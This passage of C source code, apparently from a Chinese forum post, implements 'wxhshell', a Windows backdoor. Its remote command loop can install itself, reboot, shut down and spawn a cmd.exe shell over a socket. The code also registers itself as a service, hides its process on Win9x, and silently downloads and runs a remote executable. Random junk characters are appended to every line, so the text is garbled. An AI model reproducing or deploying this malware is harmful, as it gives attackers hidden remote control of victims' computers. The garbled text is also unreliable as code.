  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T*8VDY7  
  } bR*-Ht+wd  
  else { 6]V4muz#c  
bU>U14ix<  
    switch(cmd[0]) { *g:4e3Iy  
  Fsmycr!R  
  // 帮助 I WTwz!+  
  case '?': { lGV0 *Cji  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /f:dv?!km  
    break; =)M/@T  
  } Hu\B"fdS  
  // 安装 R0P iv:  
  case 'i': { 2 Wt> Mi  
    if(Install()) "9ZID-~]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=4G=0 `ke  
    else MW! srTQ_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *]ly0nP  
    break; y?[ v=j*U  
    } Pu7_ v  
  // 卸载 F3N?Nk/  
  case 'r': { 4,bv)Im+ `  
    if(Uninstall()) ^ZvWR%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sv: 9clJ  
    else nno}e/zqf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hv`~?n)D66  
    break; N|8P)  
    } <":;+ Ng+  
  // 显示 wxhshell 所在路径 H{@Yo\J  
  case 'p': { F f$L|  
    char svExeFile[MAX_PATH];  A sQ)q  
    strcpy(svExeFile,"\n\r"); ~+Rc }K  
      strcat(svExeFile,ExeFile); R+2+-j4  
        send(wsh,svExeFile,strlen(svExeFile),0); y~Bh  
    break; n&{Dq}q  
    } {'XggI%  
  // 重启 R?GDJ3  
  case 'b': { .GsV>H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m;H.#^b*  
    if(Boot(REBOOT)) c&r70L,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8>trS=;n  
    else { (n*^4@"2  
    closesocket(wsh); #^`4DhQ/ 1  
    ExitThread(0); zcel|oz)  
    } @G BxL*e  
    break; 3VsW@SG7N  
    } WzPTFw[  
  // 关机 -MW_| MG  
  case 'd': { %z /hf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @KWb+?_H{<  
    if(Boot(SHUTDOWN)) H35S#+KX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  J}htu  
    else { 3/aMJR:o  
    closesocket(wsh); x*![fK  
    ExitThread(0);  ~3Lg"I  
    } Lrta/SU*  
    break; cGtO +DE  
    } ta35 K"  
  // 获取shell DwaBdN[!7  
  case 's': { 33o9Yg|J~  
    CmdShell(wsh); V^7V[(~`  
    closesocket(wsh); bt"W(m&f  
    ExitThread(0); Ov};e  
    break; Z,RzN5eN  
  } O ,J>/  
  // 退出 8J=? 5  
  case 'x': { .Obw|V-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); udxFz2>_l$  
    CloseIt(wsh); J5di[nu  
    break; gi(H]|=a  
    } NgADKrDU  
  // 离开 GS0;bI4ay  
  case 'q': { o}$XH,-9&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aK&b{d  
    closesocket(wsh); jK!Au  
    WSACleanup(); FemC Lvu  
    exit(1); PpGL/,]X  
    break; w Qgo N%  
        } ||T2~Q*:y  
  } 8 BY j  
  } lphFhxJA{  
O}tZ - 'T  
  // 提示信息 4zASMu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2>|dF~"  
} L; T8?+x  
  } vGc,vjC3x  
)'Oh `$M  
  return; $56Z#'(D  
} O!zV)^r  
6o |kIBte-  
// shell模块句柄 Y&[1`:-~-  
int CmdShell(SOCKET sock) ~res V  
{ <A<{,:5C  
STARTUPINFO si; Q~814P8]  
ZeroMemory(&si,sizeof(si)); FqkDKTS\&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H9KKed47d/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E'v _#FLvR  
PROCESS_INFORMATION ProcessInfo; {kp-h2I,  
char cmdline[]="cmd"; %u`8minCt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J1/?JfF  
  return 0; BHd&yIyI  
} k ]W[`  
GT~)nC9f  
// 自身启动模式 ZtV9&rd7  
int StartFromService(void) ]Oh@,V8  
{ <p}R~zk  
typedef struct aHs^tPg  
{ {n(b{ ibl  
  DWORD ExitStatus; ;6gDV`Twy  
  DWORD PebBaseAddress; j Yx38_5e  
  DWORD AffinityMask; INcg S MM  
  DWORD BasePriority; X- pqw~$  
  ULONG UniqueProcessId; 7q?9Tj3  
  ULONG InheritedFromUniqueProcessId; F|F]970  
}   PROCESS_BASIC_INFORMATION; $i&e[O7T;  
L=c!:p|7)  
PROCNTQSIP NtQueryInformationProcess; 4A@NxihH  
3j,Q`+l/6d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A54N\x,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dakoqke  
V7GRA#|  
  HANDLE             hProcess; flk=>h|  
  PROCESS_BASIC_INFORMATION pbi; rJPb 3F  
K2 he4<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6^%UU o%  
  if(NULL == hInst ) return 0; @*}D$}aR'V  
-c(F1l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0FGe=$vD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uh.oErHQD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y@ ML/9X8q  
ykv94i?Q  
  if (!NtQueryInformationProcess) return 0; ;E@G`=0St  
pR `>b 3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;+0t;B!V  
  if(!hProcess) return 0; lFa02p0  
z8{a(nKP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nFE4qm  
=3|O %\  
  CloseHandle(hProcess); anIAM  
E8>Ru i@9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "Weg7mc#  
if(hProcess==NULL) return 0; +hvO^?4j  
`1'6bp`Z  
HMODULE hMod; i\1TOP|h  
char procName[255]; T~QWRBO  
unsigned long cbNeeded; 9!T[Z/}T  
*j]9vktH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eL^.,H0  
NxjB/N  
  CloseHandle(hProcess); e&7JpT  
/[O(ea$U  
if(strstr(procName,"services")) return 1; // 以服务启动 PH`9MXh  
="x\`+U  
  return 0; // 注册表启动 ^m?KRm2  
} P9=?zh 6G.  
W)9K`hM6  
// 主模块 d_4T}% q  
int StartWxhshell(LPSTR lpCmdLine) Vm%1> '&  
{ $P>`m$(8  
  SOCKET wsl; ${+ @gJ+S  
BOOL val=TRUE; cU0s p  
  int port=0; 9[1`jtm  
  struct sockaddr_in door; 3mYiQ2  
gfsI6/Y  
  if(wscfg.ws_autoins) Install(); EG0WoUX|  
u1t% (_h  
port=atoi(lpCmdLine); $SM# < @  
$tz;<M7B  
if(port<=0) port=wscfg.ws_port; )_{dWf1  
ulu9'ch  
  WSADATA data; /E Bo3`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x;-. ZVF  
?g?L3vRK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8i6Ps$T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v[#9+6P=  
  door.sin_family = AF_INET; hc~s"Atck  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .gG1kWA-  
  door.sin_port = htons(port); R>,:A%?^b5  
&n6$rBr %  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hJwC~HG5  
closesocket(wsl); D _/^+H]1  
return 1; K) qF+Vb^j  
} m<{< s T  
.jS~By|r  
  if(listen(wsl,2) == INVALID_SOCKET) { #k_HN}B  
closesocket(wsl); $Z|ffc1  
return 1; V+Cwzc^j  
} /DQc&.jK  
  Wxhshell(wsl); M%1}/!J3  
  WSACleanup(); Q>/C*@  
A/s>PhxV  
return 0; M7+nW ; e%  
Ul2R'"FB  
} +|bmT  
AgV G`q  
// 以NT服务方式启动 >y.%xK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (WK&^,zQn  
{ [ j3&/  
DWORD   status = 0; D|rFu  
  DWORD   specificError = 0xfffffff; dY@WI[yog  
a["2VY6Eq@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &krwf ]|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N` aF{3[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a;QMA d!  
  serviceStatus.dwWin32ExitCode     = 0; rA2 g&  
  serviceStatus.dwServiceSpecificExitCode = 0; 6b%WHLUeT  
  serviceStatus.dwCheckPoint       = 0; ^xh}I5  
  serviceStatus.dwWaitHint       = 0; .mDM[e@'  
rF aF Bd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9so6WIWc  
  if (hServiceStatusHandle==0) return; <Ard 7UT  
`D`sr[3n  
status = GetLastError(); [[>wB[w  
  if (status!=NO_ERROR) I4i2+ *l}  
{ *g y{]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $ "E).j  
    serviceStatus.dwCheckPoint       = 0; 0G7K8`a  
    serviceStatus.dwWaitHint       = 0; u}!@ ,/)  
    serviceStatus.dwWin32ExitCode     = status; 'd+N Vj{C  
    serviceStatus.dwServiceSpecificExitCode = specificError; MS0Fl|YA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dFH$l  
    return; Fx5d:!]:$?  
  } 8<.C3m 6h  
F;gx%[$GX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JNkwEZhHyg  
  serviceStatus.dwCheckPoint       = 0; vhsk 0$f  
  serviceStatus.dwWaitHint       = 0; A81ls#is  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U+)xu>I  
} 3l3+A+ n  
%=?cZfFqO  
// 处理NT服务事件,比如:启动、停止 pY_s*0_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oI}kH=<,  
{ DA2}{  
switch(fdwControl) UilMv~0  
{ R,9[hNHWGs  
case SERVICE_CONTROL_STOP: T:/,2.l  
  serviceStatus.dwWin32ExitCode = 0; 3 n'V\H vz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L]d-hs  
  serviceStatus.dwCheckPoint   = 0; ]Ar\c["  
  serviceStatus.dwWaitHint     = 0; r*$Ner  
  {  EI_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @y82L8G/  
  } wY~&Q}U  
  return; *uo'VJI7_,  
case SERVICE_CONTROL_PAUSE: vC1v"L;[o/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4'-|UPhx  
  break; OE4+GI.r-  
case SERVICE_CONTROL_CONTINUE: ]8icBneA~'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |N}P(GF  
  break; H^.IY_I`U*  
case SERVICE_CONTROL_INTERROGATE: DXa=|T  
  break; 0 ;b[QRmy  
}; b&=5m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6KVn nK  
} &v"3*.org@  
AC;V m: @{  
// 标准应用程序主函数 W D T]!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z I+\Oll#Q  
{ H ,+? t  
xdf82)  
// 获取操作系统版本 NzU,va N  
OsIsNt=GetOsVer(); mt5KbA>nU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /9zE^YcT  
V5GW:QT  
  // 从命令行安装 Ma8_:7`>O  
  if(strpbrk(lpCmdLine,"iI")) Install(); *^RmjW1I  
94 e): jS  
  // 下载执行文件 ;x:rZV/  
if(wscfg.ws_downexe) { %H]lGN)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X=Ys<TM,  
  WinExec(wscfg.ws_filenam,SW_HIDE); q^A+<d  
} 3,]gEE3  
RjWqGr;bO  
if(!OsIsNt) { -i4&v7"  
// 如果时win9x,隐藏进程并且设置为注册表启动 =egW  
HideProc(); 8}fu,$$5  
StartWxhshell(lpCmdLine); mcn 2Wt  
}  ~BDu$  
else nPs7c %  
  if(StartFromService()) /F4pb]U!*  
  // 以服务方式启动 $2M#qkik-  
  StartServiceCtrlDispatcher(DispatchTable); [74F6Qp  
else H(Q.a=&4!p  
  // 普通方式启动 7<jZ`qdq_  
  StartWxhshell(lpCmdLine); Pfm_@'8  
/Nr*`l  
return 0; hgLj<  
}
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只看该作者 1 发表于: 2006-10-10
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